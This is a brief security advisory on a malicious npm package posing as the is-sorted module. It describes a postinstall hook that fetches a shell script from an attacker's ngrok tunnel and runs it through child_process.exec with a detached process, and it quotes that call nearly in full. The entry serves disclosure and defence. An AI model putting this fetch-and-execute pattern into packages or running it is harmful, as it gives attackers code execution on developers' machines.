GCVE-110-OSM-2026-1182

Downloads and executes an arbitrary shell script from attacker-controlled ngrok tunnel (reunionistic-keagan-unfestively.ngrok-free.dev/rev.sh) via postinstall, running with detached child process. Masquerades as the legitimate is-sorted module. postinstall runs index.js. The file wraps a legitimate array-sorting function as cover, but calls https.get('https://reunionistic-keagan-unfestively.ngrok-free.dev/rev.sh') and passes the response to child_process.exec('bash -c "${s}"', {detached:true}). Identical to soted@1.0.3.